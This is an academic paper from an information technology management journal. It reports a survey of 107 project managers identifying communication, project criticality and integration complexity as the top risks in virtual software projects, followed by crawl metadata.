Wallace, et al. [21], identified the largest set of risks with fifty-three risk factors which they mapped into the following four quadrants representing categories: Q1 Customer Mandate, Q2 Scope and Requirements, Q3 Environment and Q4 Execution. Some of these quadrants are similar to segments identified by other research like the Barki, et al. [3] study, whose "organizational environment" parallels Wallace's Q3. Instead of using the previous method of prioritizing the risks themselves, these researchers focused on an organizing method which was developed as a risk categorization framework to group risks. Groupings were based on two major concepts: 1) the level of perceived relative importance of the risk and 2) the project manager’s degree of perceived level of control over the risk. The main purpose of the groupings was to improve the ability of project managers to incorporate these risks into risk management strategies. The research also explored each of the four risk categories (labeled as quadrants) and their relationship to project outcome. Similar to the research by Barki, et al. [3], a survey questionnaire was used to obtain information from the participants. Participants were 500 project managers who were members of the Project Management Institute (PMI) Information Systems Special Interest Group (IS SIG) [21, 22].
As a group, each of these research studies had at least one aspect in common: identifying causes of project threats at varying levels of detail, either broad categories or detailed risk factors or both. Some general areas of risks, including technical complexity, turnover, and team member expertise, appeared in multiple studies, resurfacing over time. Conversely, some areas of risks, including project structure and project size, were only identified in one or two of the studies. This situation may be a result of an ever-changing technological environment, the increasing span and sophistication of the research methods used, or variation in the goals and methods of the research. In any case, all of the research studies focused on the relationship between risks and the success of the pro-
ject in some manner. However, none focused on virtual projects.
**METHODOLOGY**
This research study employed a multi-step methodology, designed to culminate in a survey. The survey method was chosen because seminal literature indicated several prior research studies on traditional projects made use of this method [3, 22]. The purpose of the first few steps in the process was to develop a comprehensive set of potential risk factors upon which to base the ultimate survey. The objective of the survey in the second segment was to determine which of these risk factors posed the greatest threat to virtual projects.
After an in-depth literature review identifying previously identified risk factors, an open-ended questionnaire was and piloted using face-to-face interviews with IS project management practitioners. This approach used open-ended questions to elicit risk factors from the project managers as they discussed their specific projects. Next, a focus group was conducted using an electronic collaboration tool. Participants in this focus group were part-time Information Technology (IT) graduate students who worked fulltime as IT professionals. The resulting list of project risk factors from the focus group, the face-to-face interviews and literature review were combined then sorted and grouped in an iterative process to create a list of fifty-five specific risk factors for inclusion in the survey, as detailed in Table 2. Once the survey was revised from the open-ended questionnaire used in the face-to-face interviews, it was converted into an electronic format which included the fifty-five risk factors and piloted again. Finally, the survey was mass distributed to IS/IT project management practitioners through the use of a purchased distribution list from a project management support website, and through posting the survey on the Project Management Institute website under the survey webpage. The following section will discuss the results from the analysis of the survey data and elaborate on details of the survey questionnaire.
Table 2: List of Fifty-five Potential Risk Factors
<table>
<thead>
<tr>
<th>Team members are not accountable for bad or poor decisions</th>
<th>Project scope too limited or vague</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lack of commitment from management</td>
<td>Project scope was scaled back from original scope</td>
</tr>
<tr>
<td>Lack of or inadequate communication</td>
<td>Forced to work within dictated constraints</td>
</tr>
<tr>
<td>Technical connectivity issues hinder communication</td>
<td>Idle people resources, for example due to early staffing or project windup</td>
</tr>
<tr>
<td>Too many meetings</td>
<td>Lack of appropriately skilled resources</td>
</tr>
<tr>
<td>Conflict among team members</td>
<td>Insufficient knowledge transfer</td>
</tr>
<tr>
<td>Project team members resist change</td>
<td>Loss of key resource(s) that impact the project</td>
</tr>
<tr>
<td>No contingency planning</td>
<td>Resource inexperience with company and its’ processes</td>
</tr>
<tr>
<td>Cost overruns</td>
<td>Personnel turnover</td>
</tr>
<tr>
<td>Excessive wait for funding approval, no funding or loss of funding</td>
<td>Loading up project with excess resources to resolve issues</td>
</tr>
<tr>
<td>Unrealistic Estimate/Budget expectations</td>
<td>No sponsors or wrong sponsors</td>
</tr>
<tr>
<td>Project critical to the organization</td>
<td>Misidentification of stakeholders</td>
</tr>
<tr>
<td>Cultural or language differences</td>
<td>Lack of stakeholder or end-user involvement in project</td>
</tr>
<tr>
<td>Poor decision making process</td>
<td>Lack of project team cohesion</td>
</tr>
<tr>
<td>Lack of balance or diversity on the project team</td>
<td>Inadequate technical resources, i.e. hardware, processing availability</td>
</tr>
<tr>
<td>Integration of project components is complex</td>
<td>Technology hardware new to the organization</td>
</tr>
<tr>
<td>Lack of knowledge needed for successful integration of project components</td>
<td>Technology software new to the organization</td>
</tr>
<tr>
<td>Catering to desires and wants of a few stakeholders</td>
<td>Unidentified technical constraints</td>
</tr>
<tr>
<td>Company politics and/or lack of integrity</td>
<td>Creation of meaningless intermediate deliverables to give the impression deadlines are being met</td>
</tr>
<tr>
<td>Geopolitical issues</td>
<td>Unrealistic time estimate</td>
</tr>
<tr>
<td>Hidden agendas impact the project</td>
<td>Lack of needed training</td>
</tr>
<tr>
<td>Project manager replaced during project</td>
<td>Developed application or product unacceptable to end-user</td>
</tr>
<tr>
<td>Inadequate project management and/or inexperienced project manager</td>
<td>Inexperienced end users</td>
</tr>
<tr>
<td>Unclear project objectives</td>
<td>Lack of end user buy-in</td>
</tr>
<tr>
<td>Poor quality deliverables</td>
<td>Poor vendor performance</td>
</tr>
<tr>
<td>Poorly written, unclear or vague project requirements</td>
<td>Poor vendor relationship</td>
</tr>
<tr>
<td>Developed application or product doesn’t satisfy require-ments</td>
<td>Lack of coordination among vendors</td>
</tr>
<tr>
<td>Too many scope changes/scope creep</td>
<td></td>
</tr>
</tbody>
</table>
RESULTS
Demographics
The 107 survey participants self-identified as IS/IT project leaders/managers and systems analysts playing a leading role in a virtual project. This self-selection and self-identification of participants is a limitation of this study and may have produced some self-reporting bias. The majority of the survey participants managed their project as either the project manager or project leader (65%). 19% served as team leads on the project, while 5% of respondents were team members and 11% were in roles such as executive positions overseeing multiple IS/IT projects.
The size of the projects reported upon varied widely, and was measured by three factors, the cost, duration, and project team size, as shown in Table 3. The majority of the project costs were in the $100,000 to $1 million range, with a large number of projects falling in the over $1 million range. Half of the projects were less than one year in duration. The project team size was distributed among three potential size groups.
Critical Risks
The primary objective of this research study was to identify the most critical risk factors on software development projects operating in a virtual environment. Critical was defined as having a high negative impact on the successful completion of a project, i.e. notably over-budget, behind schedule and/or with a lower level of functionality or quality than was requested or expected. The degree to which any or all of these three targets were not met is indicative of a project failure or in extreme cases, a project disaster. The survey data from this research was analyzed by considering the perceived impact of each potential risk factor, as indicated by the project management practitioners who participated in the survey. This is consistent with the approach taken in earlier studies, including that of Keil et al. [8]. Participants from various companies, locations, etc. were asked to answer the survey questions based on a recent project where they either managed or served in a lead role. This too is consistent with the approach used in recent research on requirements volatility risk. Participants were asked to refer to a recent project when answering the survey questions to improve the reliability of the survey results and to discourage survey participants from merely stating their generalized opinions [20]. The survey contained the fifty-five project risk factors and participants were asked to rate each risk factor on a three-point Likert scale with the following meanings: “1” = the risk had no impact on the successful completion of the project or did not occur on the project; “2” = the risk had a moderate impact on the successful completion of the project; “3” = the risk had a high impact on the successful completion of the project.
Chi-square tests were used to determine significance between observed and expected frequencies. As shown in Table 4, of the fifty-five risk factors tested, three risks emerged as major. Figure 1 shows the corresponding percentages of survey participants reporting various levels of these three risks.
The three risk factors identified here had both the lowest p-values and the highest percentages of impact of any type among all of the fifty-five potential risks studied. Interestingly, as shown in Figure 1, for the Integration of project components is complex risk factor, the “moderate” impact level was two percentage points higher than the “high” impact level. Together 82% of respondents felt there was an impact and the percentage of respondents who felt there was “no impact” or did not have this risk occur on their project was very low at 18%. The “moderate” impact level percentages of the other two risk factors were lower than the “high” impact level percentages.
Table 4: Respondents reporting risk impact (n=107)
<table>
<thead>
<tr>
<th>Risk Factor</th>
<th>No Impact</th>
<th>Moderate Impact</th>
<th>Major Impact</th>
<th>p-value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lack of or inadequate communication</td>
<td>22</td>
<td>41</td>
<td>44</td>
<td>0.018</td>
</tr>
<tr>
<td>Project critical to the organization</td>
<td>24</td>
<td>35</td>
<td>48</td>
<td>0.017</td>
</tr>
<tr>
<td>Integration of components is complex</td>
<td>19</td>
<td>45</td>
<td>43</td>
<td>0.003</td>
</tr>
</tbody>
</table>
DISCUSSION
We now discuss each of the three major risk factors in detail. Following this, we consider how these critical virtual project risk factors ranked in prior studies of traditional co-located software projects, as well as how these three factors relate to one another.
Lack of or Inadequate Communication
The lack of or inadequate communication risk factor refers to communication problems on a project that impact project success. This includes missing communication, where project team members are not adequately informed about important aspects of the project work, resulting in confusion. Inadequate communication can also occur when there is so little communication that problems result because team members don’t know what to do or what is expected of them. A majority of the participants (41.12%) indicated this risk factor had a “high” impact. Additionally, 38.32% perceived the impact was moderate while only 17.76% perceived there was no impact or did not experience this type of communication risk on their project. The very low percentage of the “no impact/did not occur” responses indicates a majority of virtual software projects (approximately 79%) have their project outcome negatively impacted by this risk in some way.
There are several reasons we would expect communication risk to be higher on virtual projects. First, since virtual projects have little or no face-to-face communication, team members must rely on ICTs such as video conferencing, e-mails, wikis and blogs, collaboration tools and instant messaging. Over a decade ago, Lipnack and Stamps [10] indicated these technologies would dramatically improve virtual teams, and enhance the ability of teams to “work together at a distance”. Since that time, ICTs have improved in variety, quality, features and affordability. Yet, it appears relying on these tools to ensure adequate communication is insufficient. Some team members may be unfamiliar with the tools, i.e. not adept at posting information they are responsible for providing or not adept at finding the information they are responsible for reading. For instance, if a SharePoint site is used as a project communication tool, but is not well organized, it may be difficult to find the many documents used by project managers to keep a project on track including, change control logs, issues lists, status reports, and volumes of documentation on requirements. One recommendation for project management practitioners is to use one set of communication tools, organized in one consistent manner, and then train all personnel on the tools’ standard organization and usage. Beyond this, there is always the possibility that some people will still be uncomfortable with e-communication and use it only as a last resort, and no amount of standardization within an organization will ensure across-the-board familiarity with communication tools when some team members are brought in as outside contractors. There are many more potential reasons to expect elevated communication risk on virtual projects. For example, on virtual projects, in
many cases, team members are working together for the first time and therefore, are likely to have no prior established relationships with each other. Furthermore, it is possible they will never work together again. This potentiality may affect team members' effort in building a high-quality working relationship. Sakthivel and Chang [17] also found relationship conflicts to be common in virtual work.
Future research needs to delve much more deeply into lack of or inadequate communication on virtual projects. Are some team members uncomfortable with electronic communication? Are some team members unfamiliar with the specific communication tools being used? Are the communication tools unable to convey messages with the necessary levels of richness? Is the organization of the formal communication repositories obscure? Are communication issues more likely to relate to one-time information passing or to reference sources? Is there a problem communicating major concepts, small details, or both? Are certain media types preferable for transmitting certain types of messages? Do communication issues differ with project phases, i.e., initiation, planning, design, implementation? While some research is ongoing with respect to virtual project communication, there is still a substantial communication-related agenda awaiting researchers.
Project critical to the organization
The project critical to the organization risk factor refers to the level of importance the project has when compared with other projects in the organization's project portfolio. This risk factor had the greatest number of “high” impact participant responses of all fifty-five risk factors in the survey. A majority of the respondents (44.86%) indicated this risk factor had a “high” impact, while 32.71% perceived the impact as moderate. There is no way to determine how many projects are critical to an organization in any given year. For example, in a small company with a stable market, there may only be one or two critical projects in a given year, but for a large company in a very competitive environment there might be ten or twenty projects. Being one of twenty critical projects may be less stressful than being one of two. Responses indicate a majority of virtual software project respondents (approximately 78%) believe their project outcome was negatively impacted by the fact that their project was critical to the organization.
Projects that are high profile or necessary to the success or continued existence of the company as a whole bring with them increased anxiety for project team members and particularly for the project manager. Project managers on high profile projects often find their careers either skyrocket or plummet, depending largely on the project's success. Further, working on such a project can be similar to living in a fishbowl; everyone appears to be watching and many have an opinion about how well the team is doing and how they could do a better job. With heavy involvement of multiple levels of management, high profile projects run the risk of having too much active management, as in the old adage that "too many cooks spoil the broth." This risk factor may have a higher impact on virtual projects for a variety of other reasons, as well. Distributed teams cannot easily observe and respond appropriately to the reactions of users or management. In a face-to-face traditional environment, subtle cues, including body language and tone of voice, can be observed and interpreted. In a virtual environment, body language is typically hidden during conference calls and written communication, including email, wikis, electronic work groups, and the like. Alternatively, the virtual nature of these projects may draw increased management attention and cause them to be treated as more critical than other similar projects developed using traditional colocated teams. Without further research into this risk factor, it is impossible to declare definitively how project managers should best address this risk. However, certainly an increased emphasis on communication, particularly communication involving management, would be beneficial. Proactively anticipating communication needs may increase the comfort level of managers at all levels, and thus lessen any potential micromanagement or conflicting directions.
Integration of project components is complex
The integration of project components is complex risk factor alludes to the number, but more primarily the complexity of interfaces required by the project. Even the factors that determine the level of complexity are themselves complex. For instance, interfaces between applications running on different computer platforms or written in different programming languages require more expertise than simpler technical interfaces. Also, some applications fit together well, like two pieces of the same puzzle, while others fit like pieces from two different puzzles that must be twisted in order to be joined, and may never work as if they were made to fit together. Other factors can make integration complex, such as lack of or misleading documentation, resistant users, and lack of knowledge, skills or expertise. In virtual projects, this risk may occur in part because of the difficulties inherent in exchanging complex information. Complex documentation and diagrams may be difficult or impossible to understand correctly without face-to-face communication.
Further, casual “water cooler” or “over the cubicle wall” comments that may facilitate the understanding of complexity in a traditional co-located project environment are not available in the virtual environment.
A majority of the respondents (40.19%) indicated this risk factor had a high impact, while a slightly higher number (42.71%) perceived the impact was moderate. The total percentage of impact was 82% when moderate and high impact were combined. In addition, the low percentage of “no impact/did not occur” (17.76%) also emerged as a solid indicator of critical risk. These results reflect the need for virtual project management practitioners to always evaluate this risk on their projects as well as develop a plan to manage this risk so it occurs to prevent it from becoming a risk.
One method to attack complexity risk is through diligent requirements definition, ensuring all necessary interfaces are identified and thoroughly analyzed and designed. On a virtual project, extra efforts may be needed to ensure all necessary users and experts are included in these discussions. The use of the appropriate ICTs may be required so that written documents, drawings, and meeting notes can be stored in a well organized, easy to retrieve manner and in a format that is easy to interpret. In projects with high levels of complexity but without face-to-face communication, extra expense may be needed to acquire high-quality tools such as groupware, collaboration tools, and videoconferencing equipment and to then train the project team, consultants, experts and users to utilize the tools effectively. Constant monitoring may be necessary to ensure the tools are being used and the documentation is accurate. Most importantly, team members must feel engaged and comfortable with the use of the tools. Finally, in the case of the other two major risk factors identified by this research, much further research must be done into the nature of the risk and how it can best be managed and mitigated on virtual projects.
Relating study results to prior research
Before this study, it was tempting to assume the major virtual software project risk factors might also be found on the top traditional project risk lists. Surprisingly, this was not the case. Consider the first critical virtual project risk, lack of or inadequate communication. Of all of the prior literature cited in the background section, only Wallace [21] mentioned any aspect of communication as a risk factor, “Ineffective communication” and “team communication issues”. Wallace focused on grouping risks into categories, but did not note either of these communication related risks as particularly significant. Thus, while communication issues have been identified in the past as potentially problematic, communication was never identified as critical in the seminal literature on traditional project risk. However, problems communicating among virtual team members, users and developers did emerge as an important risk in our face-to-face interviews, and that importance was substantiated by our survey. For the next virtual project risk factor, project critical to the organization, none of the prior literature cited criticality to the organization as an increased risk, and only Wallace [21] mentioned any aspect of project importance to the organization. This, however, was in the context of discussing project priorities. Again, this risk factor emerged in our face-to-face interviews, and was strongly supported by our survey results. Finally, consider the last critical virtual project risk factor identified here, integration of project components is complex. Boehm [4] touched on the integration concept when he spoke more narrowly of the number of system interdependencies, although this factor did not make his top ten risk list. While Barki [3] and Wallace [22] each identified two risks related to integration of components, all four of these factors focused narrowly on the number of links rather than the broader concept of the inherent difficulty of integrating components. Finally, Keil, et al. [8] in their Delphi study did not list any aspect of integration in its list of eleven major risk factors. On the other hand, our face-to-face interviews identified complexity of integration as a potentially serious risk factor, and this was supported by our survey.
Relationships among critical risks
Three risks have been identified by this research as most critical on virtual software development projects. As demonstrated by the previous discussion and shown in Figure 2, these risks are related. Integrating complex components undoubtedly places added communication burdens on any project. Similarly, the more critical a project is to an organization, the more involved personnel at all levels, are likely to be in project communications. Fortunately, of the three critical risks identified here, the most central, communication, is currently the subject of much research. For virtual project managers, communication research that directly addressed the two other risks identified here would be of great value. Future research should address two specific questions generated by this current research: What are the best practices for communicating complexity in a virtual environment? What are the best practices for maintaining open communications on high-visibility projects? Just as each of the three risks identified here demands further research; there is also a need for further research into the relationships among the three, and particularly between communication-related risk and each of the other two.
Journal of Information Technology Management Volume XXII, Number 4, 2011
CONCLUSION
As detailed in the Background section of this work, numerous researchers have studied risk in traditional projects. We reported here on just one portion of a much larger study of virtual project risk. While this study does provide substantive evidence that major project risk is different in a virtual environment, much more research needs to be undertaken in order to build our understanding of virtual project risks. In addition, while much research currently is being conducted into communication on virtual projects, more of this project communication research needs to be specifically focused on risk. Looking beyond communication, the other two major risks factors identified here need substantially more study, as well. How a project manager can best anticipate, manage, and mitigate the risks of integrating complex components needs to be explored in detail. Perhaps most importantly, the newly identified risk factor of project criticality to the organization needs to be explored in depth. We need to understand what factors make a project critical to an organization, as well as how that criticality generates risk and how that risk can best be managed in a virtual environment. Finally, we need to develop in-depth understanding of how the three critical risks identified here interact with one another.
This research has demonstrated that the virtual environment does indeed spawn different major project risk factors than those previously identified on traditional projects involving co-located project team members. Given that virtual projects have emerged as a permanent part of the Information Technology landscape, we now need to openly recognize that virtual project risk is not identical to traditional project risk. Only then will virtual project risk receive the research attention it requires.
REFERENCES
AUTHOR BIOGRAPHIES
Linda V. Knight teaches and conducts research in the area of Information Technology strategy and development, with emphasis upon project management. Editor-in-Chief of the Journal of Information Technology Education, she is also former Associate Editor of the Information Resources Management Journal and served as a member of the Information Resources Management Association Executive Council. A Fellow of the Informing Science Institute, she served 5 years on MBAA International’s Executive Board, including a term as President. An entrepreneur and IT consultant, she has held industry positions in IT management and quality assurance management, and served over seven years as Associate Dean. In addition to a Ph.D. from DePaul University, she holds an MBA and a bachelor’s degree in mathematics from Dominican University.
April H. Reed is an Assistant Professor in the College of Business, MIS department at East Carolina University. She conducts research in the area of IS/IT project management. She is also a PMI certified Project Management Professional (PMP) and has held industry positions as a Systems Analyst and an IT Project Manager. She has published several papers on the topic of risk and virtual software development projects in IS journals and conferences. She holds a PhD from DePaul University as well as an MBA in MIS and a bachelor’s degree in Computer Science.
|
{"Source-Url": "http://jitm.ubalt.edu/XXII-4/article1b.pdf", "len_cl100k_base": 8587, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 39598, "total-output-tokens": 9973, "length": "2e13", "weborganizer": {"__label__adult": 0.0005588531494140625, "__label__art_design": 0.0006575584411621094, "__label__crime_law": 0.0005745887756347656, "__label__education_jobs": 0.020965576171875, "__label__entertainment": 0.0001251697540283203, "__label__fashion_beauty": 0.000247955322265625, "__label__finance_business": 0.004268646240234375, "__label__food_dining": 0.00048422813415527344, "__label__games": 0.0010309219360351562, "__label__hardware": 0.0007295608520507812, "__label__health": 0.0008311271667480469, "__label__history": 0.0003516674041748047, "__label__home_hobbies": 0.00021064281463623047, "__label__industrial": 0.0004906654357910156, "__label__literature": 0.0005431175231933594, "__label__politics": 0.00030231475830078125, "__label__religion": 0.0004856586456298828, "__label__science_tech": 0.01513671875, "__label__social_life": 0.00036787986755371094, "__label__software": 0.01407623291015625, "__label__software_dev": 0.9365234375, "__label__sports_fitness": 0.00034117698669433594, "__label__transportation": 0.0005750656127929688, "__label__travel": 0.0002951622009277344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 48476, 0.01854]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 48476, 0.32551]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 48476, 0.95195]], "google_gemma-3-12b-it_contains_pii": [[0, 3046, false], [3046, 8682, null], [8682, 14405, null], [14405, 17795, null], [17795, 19857, null], [19857, 24003, null], [24003, 27353, null], [27353, 30438, null], [30438, 35885, null], [35885, 41572, null], [41572, 44140, null], [44140, 48476, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3046, true], [3046, 8682, null], [8682, 14405, null], [14405, 17795, null], [17795, 19857, null], [19857, 24003, null], [24003, 27353, null], [27353, 30438, null], [30438, 35885, null], [35885, 41572, null], [41572, 44140, null], [44140, 48476, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 48476, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 48476, null]], "pdf_page_numbers": [[0, 3046, 1], [3046, 8682, 2], [8682, 14405, 3], [14405, 17795, 4], [17795, 19857, 5], [19857, 24003, 6], [24003, 27353, 7], [27353, 30438, 8], [30438, 35885, 9], [35885, 41572, 10], [41572, 44140, 11], [44140, 48476, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 48476, 0.26984]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
ca48f8a5d9a70e3b76de81957f66f50cd6507ae3
|
[REMOVED]
|
{"Source-Url": "https://www.springer.com/cda/content/document/cda_downloaddocument/9783319608754-c2.pdf?SGWID=0-0-45-1608514-p180915923", "len_cl100k_base": 11325, "olmocr-version": "0.1.50", "pdf-total-pages": 24, "total-fallback-pages": 0, "total-input-tokens": 52377, "total-output-tokens": 16733, "length": "2e13", "weborganizer": {"__label__adult": 0.0005116462707519531, "__label__art_design": 0.0003733634948730469, "__label__crime_law": 0.0015649795532226562, "__label__education_jobs": 0.0004558563232421875, "__label__entertainment": 0.0001094341278076172, "__label__fashion_beauty": 0.0002206563949584961, "__label__finance_business": 0.0003554821014404297, "__label__food_dining": 0.0003964900970458984, "__label__games": 0.00121307373046875, "__label__hardware": 0.004150390625, "__label__health": 0.000797271728515625, "__label__history": 0.00033974647521972656, "__label__home_hobbies": 0.0001512765884399414, "__label__industrial": 0.0007395744323730469, "__label__literature": 0.0003287792205810547, "__label__politics": 0.0005021095275878906, "__label__religion": 0.0005388259887695312, "__label__science_tech": 0.1773681640625, "__label__social_life": 8.809566497802734e-05, "__label__software": 0.019744873046875, "__label__software_dev": 0.7890625, "__label__sports_fitness": 0.00031280517578125, "__label__transportation": 0.0006685256958007812, "__label__travel": 0.00018012523651123047}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 64459, 0.03613]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 64459, 0.22137]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 64459, 0.83408]], "google_gemma-3-12b-it_contains_pii": [[0, 2586, false], [2586, 5794, null], [5794, 8093, null], [8093, 10311, null], [10311, 13240, null], [13240, 15745, null], [15745, 17825, null], [17825, 21588, null], [21588, 23852, null], [23852, 26976, null], [26976, 29570, null], [29570, 32838, null], [32838, 35905, null], [35905, 39172, null], [39172, 41066, null], [41066, 44063, null], [44063, 46532, null], [46532, 49818, null], [49818, 52523, null], [52523, 55926, null], [55926, 59241, null], [59241, 62785, null], [62785, 64210, null], [64210, 64459, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2586, true], [2586, 5794, null], [5794, 8093, null], [8093, 10311, null], [10311, 13240, null], [13240, 15745, null], [15745, 17825, null], [17825, 21588, null], [21588, 23852, null], [23852, 26976, null], [26976, 29570, null], [29570, 32838, null], [32838, 35905, null], [35905, 39172, null], [39172, 41066, null], [41066, 44063, null], [44063, 46532, null], [46532, 49818, null], [49818, 52523, null], [52523, 55926, null], [55926, 59241, null], [59241, 62785, null], [62785, 64210, null], [64210, 64459, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 64459, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 64459, null]], "pdf_page_numbers": [[0, 2586, 1], [2586, 5794, 2], [5794, 8093, 3], [8093, 10311, 4], [10311, 13240, 5], [13240, 15745, 6], [15745, 17825, 7], [17825, 21588, 8], [21588, 23852, 9], [23852, 26976, 10], [26976, 29570, 11], [29570, 32838, 12], [32838, 35905, 13], [35905, 39172, 14], [39172, 41066, 15], [41066, 44063, 16], [44063, 46532, 17], [46532, 49818, 18], [49818, 52523, 19], [52523, 55926, 20], [55926, 59241, 21], [59241, 62785, 22], [62785, 64210, 23], [64210, 64459, 24]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 64459, 0.07625]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
a337dca8578a37e52158bbe31656b3f83e212bf3
|
[REMOVED]
|
{"Source-Url": "https://inria.hal.science/hal-00769656/file/FASE.pdf", "len_cl100k_base": 13913, "olmocr-version": "0.1.49", "pdf-total-pages": 18, "total-fallback-pages": 0, "total-input-tokens": 66733, "total-output-tokens": 15487, "length": "2e13", "weborganizer": {"__label__adult": 0.0003705024719238281, "__label__art_design": 0.0005860328674316406, "__label__crime_law": 0.0003819465637207031, "__label__education_jobs": 0.002033233642578125, "__label__entertainment": 0.00012743473052978516, "__label__fashion_beauty": 0.00021731853485107425, "__label__finance_business": 0.0007238388061523438, "__label__food_dining": 0.0004487037658691406, "__label__games": 0.0009765625, "__label__hardware": 0.001556396484375, "__label__health": 0.0007371902465820312, "__label__history": 0.0005087852478027344, "__label__home_hobbies": 0.00018870830535888672, "__label__industrial": 0.0008449554443359375, "__label__literature": 0.0005817413330078125, "__label__politics": 0.00033402442932128906, "__label__religion": 0.0006337165832519531, "__label__science_tech": 0.2340087890625, "__label__social_life": 0.00014448165893554688, "__label__software": 0.0123748779296875, "__label__software_dev": 0.74072265625, "__label__sports_fitness": 0.00034427642822265625, "__label__transportation": 0.000926971435546875, "__label__travel": 0.0002586841583251953}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 52576, 0.03992]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 52576, 0.38598]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 52576, 0.86501]], "google_gemma-3-12b-it_contains_pii": [[0, 917, false], [917, 3596, null], [3596, 6834, null], [6834, 9698, null], [9698, 13409, null], [13409, 16873, null], [16873, 19657, null], [19657, 23223, null], [23223, 26332, null], [26332, 29718, null], [29718, 33262, null], [33262, 35943, null], [35943, 39495, null], [39495, 42112, null], [42112, 44266, null], [44266, 46824, null], [46824, 49507, null], [49507, 52576, null]], "google_gemma-3-12b-it_is_public_document": [[0, 917, true], [917, 3596, null], [3596, 6834, null], [6834, 9698, null], [9698, 13409, null], [13409, 16873, null], [16873, 19657, null], [19657, 23223, null], [23223, 26332, null], [26332, 29718, null], [29718, 33262, null], [33262, 35943, null], [35943, 39495, null], [39495, 42112, null], [42112, 44266, null], [44266, 46824, null], [46824, 49507, null], [49507, 52576, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 52576, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 52576, null]], "pdf_page_numbers": [[0, 917, 1], [917, 3596, 2], [3596, 6834, 3], [6834, 9698, 4], [9698, 13409, 5], [13409, 16873, 6], [16873, 19657, 7], [19657, 23223, 8], [23223, 26332, 9], [26332, 29718, 10], [29718, 33262, 11], [33262, 35943, 12], [35943, 39495, 13], [39495, 42112, 14], [42112, 44266, 15], [44266, 46824, 16], [46824, 49507, 17], [49507, 52576, 18]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 52576, 0.09459]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
b06ab540503e751f459986d129a6eff912e19a87
|
CAMP: A Cost Adaptive Multi-Queue Eviction Policy for Key-Value Stores *
Shahram Ghandeharizadeh, Sandy Irani, Jenny Lam, Jason Yap
Database Laboratory Technical Report 2014-07
Computer Science Department, USC
Los Angeles, California 90089-0781
September 7, 2014
Abstract
